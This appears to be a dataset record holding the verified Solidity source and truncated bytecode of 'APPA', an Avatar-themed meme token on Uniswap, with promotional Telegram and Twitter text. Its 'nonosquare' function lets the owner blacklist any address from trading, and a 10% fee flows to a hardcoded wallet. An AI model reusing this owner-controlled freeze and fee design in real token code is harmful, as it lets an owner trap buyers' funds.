[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,892
0x95e22c0688cade7b3877ca27f542133fbedbd4ee
/** Telegram: https://t.me/AppaERC Twitter: https://twitter.com/AppaErc Total supply: 1,000,000,000 Tax: 10.0% Max Buy : 2% Max Wallet : 3% $APPA is here to make the degen crypto space bullish again. Every buy, means bigger fly. With the power of Appa as shown in the series Avatar: The Last Airbender, we can make our bags fly again. Appa is big, bullish, fluffy, powerful, and most important of all, he doesn't give up during hard times. */ pragma solidity ^0.8.7; // SPDX-License-Identifier: UNLICENSED abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract APPA is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet; string private constant _name = "Appa"; string private constant _symbol = "APPA"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; uint256 private _maxWalletSize = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet = payable(0x43cf4be10196Ba6391dd379C8486866B57D3992e); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 0; _feeAddr2 = 10; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount."); require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize."); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 0; _feeAddr2 = 10; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function removeLimits() external onlyOwner{ _maxTxAmount = _tTotal; _maxWalletSize = _tTotal; } function changeMaxTxAmount(uint256 percentage) external onlyOwner{ require(percentage>0); _maxTxAmount = _tTotal.mul(percentage).div(100); } function changeMaxWalletSize(uint256 percentage) external onlyOwner{ require(percentage>0); _maxWalletSize = _tTotal.mul(percentage).div(100); } function sendETHToFee(uint256 amount) private { _feeAddrWallet.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = _tTotal.mul(20).div(1000); _maxWalletSize = _tTotal.mul(30).div(1000); tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function nonosquare(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101235760003560e01c806370a08231116100a0578063a9059cbb11610064578063a9059cbb146103a6578063b87f137a146103e3578063c3c8cd801461040c578063c9567bf914610423578063dd62ed3e1461043a5761012a565b806370a08231146102e5578063715018a614610322578063751039fc146103395780638da5cb5b1461035057806395d89b411461037b5761012a565b8063273123b7116100e7578063273123b714610228578063313ce567146102515780635932ead11461027c578063677daa57146102a55780636fc3eaec146102ce5761012a565b806306fdde031461012f578063095ea7b31461015a57806318160ddd146101975780631b3f71ae146101c257806323b872dd146101eb5761012a565b3661012a57005b600080fd5b34801561013b57600080fd5b50610144610477565b6040516101519190612e2b565b60405180910390f35b34801561016657600080fd5b50610181600480360381019061017c9190612932565b6104b4565b60405161018e9190612e10565b60405180910390f35b3480156101a357600080fd5b506101ac6104d2565b6040516101b99190612fcd565b60405180910390f35b3480156101ce57600080fd5b506101e960048036038101906101e49190612972565b6104e2565b005b3480156101f757600080fd5b50610212600480360381019061020d91906128df565b61060c565b60405161021f9190612e10565b60405180910390f35b34801561023457600080fd5b5061024f600480360381019061024a9190612845565b6106e5565b005b34801561025d57600080fd5b506102666107d5565b6040516102739190613042565b60405180910390f35b34801561028857600080fd5b506102a3600480360381019061029e91906129bb565b6107de565b005b3480156102b157600080fd5b506102cc60048036038101906102c79190612a15565b610890565b005b3480156102da57600080fd5b506102e3610969565b005b3480156102f157600080fd5b5061030c60048036038101906103079190612845565b6109db565b6040516103199190612fcd565b60405180910390f35b34801561032e57600080fd5b50610337610a2c565b005b34801561034557600080fd5b5061034e610b7f565b005b34801561035c57600080fd5b50610365610c34565b6040516103729190612d42565b60405180910390f35b34801561038757600080fd5b50610390610c5d565b60405161039d9190612e2b565b60405180910390f35b3480156103b257600080fd5b506103cd60048036038101906103c89190612932565b610c9a565b6040516103da9190612e10565b60405180910390f35b3480156103ef57600080fd5b5061040a60048036038101906104059190612a15565b610cb8565b005b34801561041857600080fd5b50610421610d91565b005b34801561042f57600080fd5b50610438610e0b565b005b34801561044657600080fd5b50610461600480360381019061045c919061289f565b6113c3565b60405161046e9190612fcd565b60405180910390f35b60606040518060400160405280600481526020017f4170706100000000000000000000000000000000000000000000000000000000815250905090565b60006104c86104c161144a565b8484611452565b6001905092915050565b6000670de0b6b3a7640000905090565b6104ea61144a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610577576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161056e90612f0d565b60405180910390fd5b60005b81518110156106085760016006600084848151811061059c5761059b61338a565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610600906132e3565b91505061057a565b5050565b600061061984848461161d565b6106da8461062561144a565b6106d58560405180606001604052806028815260200161374960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061068b61144a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cb09092919063ffffffff16565b611452565b600190509392505050565b6106ed61144a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461077a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161077190612f0d565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6107e661144a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610873576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086a90612f0d565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b61089861144a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610925576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161091c90612f0d565b60405180910390fd5b6000811161093257600080fd5b610960606461095283670de0b6b3a7640000611d1490919063ffffffff16565b611d8f90919063ffffffff16565b600f8190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166109aa61144a565b73ffffffffffffffffffffffffffffffffffffffff16146109ca57600080fd5b60004790506109d881611dd9565b50565b6000610a25600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e45565b9050919050565b610a3461144a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ac1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ab890612f0d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610b8761144a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c14576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0b90612f0d565b60405180910390fd5b670de0b6b3a7640000600f81905550670de0b6b3a7640000601081905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f4150504100000000000000000000000000000000000000000000000000000000815250905090565b6000610cae610ca761144a565b848461161d565b6001905092915050565b610cc061144a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d4d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4490612f0d565b60405180910390fd5b60008111610d5a57600080fd5b610d886064610d7a83670de0b6b3a7640000611d1490919063ffffffff16565b611d8f90919063ffffffff16565b60108190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dd261144a565b73ffffffffffffffffffffffffffffffffffffffff1614610df257600080fd5b6000610dfd306109db565b9050610e0881611eb3565b50565b610e1361144a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ea0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e9790612f0d565b60405180910390fd5b600e60149054906101000a900460ff1615610ef0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ee790612fad565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610f7f30600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16670de0b6b3a7640000611452565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610fc557600080fd5b505afa158015610fd9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ffd9190612872565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561105f57600080fd5b505afa158015611073573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110979190612872565b6040518363ffffffff1660e01b81526004016110b4929190612d5d565b602060405180830381600087803b1580156110ce57600080fd5b505af11580156110e2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111069190612872565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061118f306109db565b60008061119a610c34565b426040518863ffffffff1660e01b81526004016111bc96959493929190612daf565b6060604051808303818588803b1580156111d557600080fd5b505af11580156111e9573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061120e9190612a42565b5050506001600e60166101000a81548160ff0219169083151502179055506001600e60176101000a81548160ff0219169083151502179055506112776103e86112696014670de0b6b3a7640000611d1490919063ffffffff16565b611d8f90919063ffffffff16565b600f819055506112ad6103e861129f601e670de0b6b3a7640000611d1490919063ffffffff16565b611d8f90919063ffffffff16565b6010819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161136d929190612d86565b602060405180830381600087803b15801561138757600080fd5b505af115801561139b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113bf91906129e8565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114c2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114b990612f8d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611532576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152990612ead565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516116109190612fcd565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561168d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161168490612f4d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156116fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116f490612e4d565b60405180910390fd5b60008111611740576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161173790612f2d565b60405180910390fd5b6000600a81905550600a600b81905550611758610c34565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156117c65750611796610c34565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611ca057600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561186f5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61187857600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119235750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119795750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156119915750600e60179054906101000a900460ff165b15611acf57600f548111156119db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119d290612e6d565b60405180910390fd5b601054816119e8846109db565b6119f29190613103565b1115611a33576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a2a90612f6d565b60405180910390fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a7e57600080fd5b601e42611a8b9190613103565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16148015611b7a5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611bd05750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611be6576000600a81905550600a600b819055505b6000611bf1306109db565b9050600e60159054906101000a900460ff16158015611c5e5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611c765750600e60169054906101000a900460ff165b15611c9e57611c8481611eb3565b60004790506000811115611c9c57611c9b47611dd9565b5b505b505b611cab83838361213b565b505050565b6000838311158290611cf8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cef9190612e2b565b60405180910390fd5b5060008385611d0791906131e4565b9050809150509392505050565b600080831415611d275760009050611d89565b60008284611d35919061318a565b9050828482611d449190613159565b14611d84576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d7b90612eed565b60405180910390fd5b809150505b92915050565b6000611dd183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061214b565b905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611e41573d6000803e3d6000fd5b5050565b6000600854821115611e8c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e8390612e8d565b60405180910390fd5b6000611e966121ae565b9050611eab8184611d8f90919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611eeb57611eea6133b9565b5b604051908082528060200260200182016040528015611f195781602001602082028036833780820191505090505b5090503081600081518110611f3157611f3061338a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611fd357600080fd5b505afa158015611fe7573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061200b9190612872565b8160018151811061201f5761201e61338a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061208630600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611452565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120ea959493929190612fe8565b600060405180830381600087803b15801561210457600080fd5b505af1158015612118573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b6121468383836121d9565b505050565b60008083118290612192576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121899190612e2b565b60405180910390fd5b50600083856121a19190613159565b9050809150509392505050565b60008060006121bb6123a4565b915091506121d28183611d8f90919063ffffffff16565b9250505090565b6000806000806000806121eb87612403565b95509550955095509550955061224986600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461246b90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122de85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124b590919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061232a81612513565b61233484836125d0565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516123919190612fcd565b60405180910390a3505050505050505050565b600080600060085490506000670de0b6b3a764000090506123d8670de0b6b3a7640000600854611d8f90919063ffffffff16565b8210156123f657600854670de0b6b3a76400009350935050506123ff565b81819350935050505b9091565b60008060008060008060008060006124208a600a54600b5461260a565b92509250925060006124306121ae565b905060008060006124438e8787876126a0565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006124ad83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611cb0565b905092915050565b60008082846124c49190613103565b905083811015612509576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161250090612ecd565b60405180910390fd5b8091505092915050565b600061251d6121ae565b905060006125348284611d1490919063ffffffff16565b905061258881600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124b590919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6125e58260085461246b90919063ffffffff16565b600881905550612600816009546124b590919063ffffffff16565b6009819055505050565b6000806000806126366064612628888a611d1490919063ffffffff16565b611d8f90919063ffffffff16565b905060006126606064612652888b611d1490919063ffffffff16565b611d8f90919063ffffffff16565b905060006126898261267b858c61246b90919063ffffffff16565b61246b90919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806126b98589611d1490919063ffffffff16565b905060006126d08689611d1490919063ffffffff16565b905060006126e78789611d1490919063ffffffff16565b9050600061271082612702858761246b90919063ffffffff16565b61246b90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061273c61273784613082565b61305d565b9050808382526020820190508285602086028201111561275f5761275e6133ed565b5b60005b8581101561278f57816127758882612799565b845260208401935060208301925050600181019050612762565b5050509392505050565b6000813590506127a881613703565b92915050565b6000815190506127bd81613703565b92915050565b600082601f8301126127d8576127d76133e8565b5b81356127e8848260208601612729565b91505092915050565b6000813590506128008161371a565b92915050565b6000815190506128158161371a565b92915050565b60008135905061282a81613731565b92915050565b60008151905061283f81613731565b92915050565b60006020828403121561285b5761285a6133f7565b5b6000612869848